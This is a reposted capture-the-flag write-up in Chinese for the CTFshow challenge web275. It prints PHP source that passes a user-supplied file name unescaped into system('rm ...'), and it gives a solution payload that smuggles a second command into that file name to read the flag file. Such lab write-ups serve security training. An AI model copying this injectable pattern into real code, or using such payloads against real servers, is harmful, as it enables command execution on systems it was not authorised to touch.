CTFshow 反序列化 web275
生活随笔
收集整理的這篇文章主要介紹了
CTFshow 反序列化 web275
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結(jié)
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-08 19:13:36 # @Last Modified by: h1xa # @Last Modified time: 2020-12-08 20:08:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/highlight_file(__FILE__);class filter{public $filename;public $filecontent;public $evilfile=false;public function __construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}public function checkevil(){if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}return $this->evilfile;}public function __destruct(){if($this->evilfile){system('rm '.$this->filename);}} }if(isset($_GET['fn'])){$content = file_get_contents('php://input');$f = new filter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}}else{echo 'where is flag?'; }where is flag?思路
這題的關(guān)鍵點(diǎn)在于$evilfile為true或者為false,
如果為true的話,就會執(zhí)行
//可以通過拼接逃逸出來if($this->evilfile){system('rm '.$this->filename);}如果為false的話,就會執(zhí)行
if($f->checkevil()===false){//寫入文件內(nèi)容file_put_contents($_GET['fn'], $content);//復(fù)制文件,生成的新文件名進(jìn)行md5加密+隨機(jī)數(shù)copy($_GET['fn'],md5(mt_rand()).'.txt');//刪除原來的文件unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}很顯然,只要為ture就能很輕松rce
題解
GET: ?fn=a||tac f* POST: flag總結(jié)
水題
總結(jié)
以上是生活随笔為你收集整理的CTFshow 反序列化 web275的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow 反序列化 web273
- 下一篇: CTFshow 反序列化 web277